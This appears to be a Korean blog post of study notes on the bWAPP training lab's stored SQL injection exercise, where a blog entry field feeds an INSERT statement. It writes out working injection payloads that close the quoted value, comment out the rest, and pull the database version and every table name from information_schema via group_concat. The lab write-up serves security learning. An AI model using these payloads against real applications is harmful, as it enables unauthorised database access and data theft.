owasp 실습(bwapp)-5 (SQL Injection - Stored (Blog))

Web hacking|2020. 12. 8. 14:04

 

 

 

 

 

 

entry에 aa를 입력하면

 

insert into table values(no, date, entry, owner,)

이런식으로 예상을하고

어떻게 순서가

 

insert into table values(no, date(), 'aa', user())

 

insert into table values(no, date(), 'aa', (select @@version))

 

 

'aa' 이부분이 바로 사용자가 입력을 하는부분이므로

 

이 entry 위치에 sql injection을 걸면된다

insert into table values(no, date, entry, owner)

 

 

사용자의 입력부분(aa)을 조작해서 다음 결과가 나오게한다

 

 

 

 

 

 

-

----------------현재 접속중인 db의 전체 테이블 목록리스트를 출력(우리의 목적)

 

 

 

 

 

test',(select @@version))#

 

입력하면

 

내가입력할수있는것

values= (no, date(), ('aa',select@@version)#, user())

 

내가입력할수있는것

values= (no, date(), ('aa',select@@version))#

이런식으로 진행이된다.

 

 

 

 

 

 

 

 

aa',(select table_name from information_schema.tables limit 0,1))#

 

입력하면

 

 

values= (no, date(),'aa',(select table_name from information_schema.tables limit 0,1)#,users())

이렇게 진행이된다.

 

 

values= (no, date(),'aa',(select table_name from information_schema.tables limit 0,1))#

 

이것은 한줄한줄 나온다 

 

 

 

 

 

-----------------------------------

 

 

aa',(select table_name from information_schema.tables where table_schema=database()))#

 전체 데이터베이스 리스트가 나온다.

원래 이렇게 하면 입력이되지만 오류가나와서

 

 

 

 

 

 

 

 

 

 

group concat을 이용한다.

 

',(select group_concat(table_name) from information_schema.tables where table_schema=database())#

이렇게하면

 

 

insert into table values(no, date(), 'aa', user())

 

이것을

 

insert into table values(no, date(), 'aa',(select group_concat(table_name) from information_schema.tables where table_schema=database()))#,user())

이런식으로 만들수있다.

 

 

 

users()) 이것을 주석처리해주니까

)을 하나 더 감싸주어서 하는것이다

 

',(select group_concat(table_name) from information_schema.tables where table_schema=database())#

이것을

 

',(select group_concat(table_name) from information_schema.tables where table_schema=database()))#

이렇게 생각하라.

 

 

 

이렇게 들어가면된다

 

 

댓글()